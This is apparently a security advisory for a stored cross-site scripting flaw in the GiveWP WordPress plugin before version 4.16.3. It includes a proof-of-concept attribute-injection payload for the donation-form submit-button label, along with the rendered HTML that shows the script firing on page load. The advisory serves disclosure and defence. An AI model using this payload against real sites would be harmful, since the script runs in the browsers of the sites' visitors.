GiveWP < 4.16.3 – GiveWP Worker+ Stored XSS via Donation Form Template Settings | CVE 2026-14318

Description

The plugin does not escape a donation-form template setting before outputting it in an HTML attribute, allowing users with the GiveWP Worker role and above to inject arbitrary web scripts that execute on the public donation form viewed by any visitor.

Proof of Concept

Prerequisite: a donation form using the legacy (option-based) form template; attacker holds the admin-assigned GiveWP Worker (give_worker) role.

1. As the GiveWP Worker, edit the legacy donation form and set the Submit Button label to:
   Donate" autofocus onfocus=alert(document.domain) x="
   (template-settings POST key legacy[display_settings][checkout_label]; the capability gate is current_user_can('edit_post', form_id), which the role satisfies)

2. Open the form's public page while logged out. The rendered HTML is:
   <input type="submit" ... value="Donate" autofocus onfocus=alert(document.domain) x="" data-before-validation-label="Donate" autofocus onfocus=alert(document.domain) x=""/>
   autofocus fires onfocus on load, so the script executes in the site origin with no click.